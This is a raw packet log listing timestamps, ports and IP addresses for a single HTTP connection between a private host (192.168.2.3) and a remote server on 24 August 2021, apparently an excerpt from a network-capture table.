Aug 24, 2021 14:01:50.860044956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860059977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860075951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860093117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860109091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860116959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860126972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860143900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860151052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860163927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860182047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860186100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860207081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860228062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860233068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860259056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860270023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860284090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860308886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860325098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860340118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860351086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860367060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860380888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860387087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860399008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860419989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860440016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860461950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860465050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860493898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860507011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860517979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860554934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860557079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860584021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860605001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860621929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860625982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860637903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860655069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860667944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860682011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860690117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860697985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860723972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860745907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860749006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860774040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860786915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860799074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860825062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860836983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860851049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860879898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860896111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860918999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860949039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860956907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.860975981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861002922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861017942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861028910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861048937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861072063 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861076117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861097097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861114025 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861123085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861140013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861164093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861164093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861187935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861207008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861211061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861243963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861255884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861279964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861306906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861319065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861324072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861344099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861357927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861362934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861375093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861387968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861407042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861411095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861423969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861437082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861442089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861459017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861475945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861486912 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861493111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861505985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861517906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861522913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861538887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861541033 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861557007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861561060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861573935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861594915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861604929 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861613035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861629963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861639023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861646891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861664057 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861674070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861699104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861713886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861720085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861746073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861763954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861776114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861795902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861814022 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861824989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861844063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861860991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861865044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861877918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861896038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861898899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861927032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861937046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.861960888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861995935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.861999035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862024069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862051964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862063885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862076998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862102032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862113953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862129927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862164021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862169027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862184048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862210989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862219095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862226009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862257004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862263918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862293959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862317085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862332106 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862353086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862381935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862394094 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862411976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862432957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862451077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862451077 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862468004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862488031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862492085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862510920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862526894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862535000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862545013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862566948 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862572908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862598896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862622023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862624884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862652063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862685919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862710953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862721920 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862725973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862729073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862756014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862766027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862780094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862807989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862814903 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862832069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862864017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862874985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862895966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862921953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862948895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862972975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.862976074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.862988949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863003016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863029003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863063097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863086939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863090038 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863111973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863126040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863142014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863163948 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863168001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863183975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863200903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863208055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863218069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863234997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863241911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863253117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863270998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863271952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863291025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863308907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863311052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863327026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863343954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863347054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863360882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863377094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863385916 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863394976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863411903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863420010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863431931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863450050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863460064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863466978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863483906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863493919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863509893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863523006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863537073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863564014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863576889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863591909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863629103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863636971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863655090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863681078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863692999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863706112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863735914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863744974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863768101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863805056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863805056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863837004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863869905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863876104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863895893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863922119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863945007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.863948107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863975048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.863986015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864002943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864029884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864039898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864054918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864082098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864092112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864099026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864116907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864132881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864140034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864155054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864171982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864178896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864188910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864206076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864209890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864222050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864238977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864247084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864255905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864272118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864280939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864294052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864310980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864316940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864326954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864343882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864350080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864360094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864377022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864383936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864392996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864409924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864418030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864429951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864448071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864454985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864463091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864490032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864490032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864509106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864531040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864533901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864557028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864569902 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864584923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864613056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864624023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864628077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864659071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864666939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864686012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864712954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864726067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864729881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864763975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864770889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864784956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864814997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864821911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864840984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864857912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864890099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864892006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864918947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864931107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864948034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864972115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.864983082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.864998102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865021944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865047932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865047932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865073919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865086079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865099907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865115881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865135908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865137100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865161896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865175009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865187883 CEST	80	49724	172.67.216.236	192.168.2.3
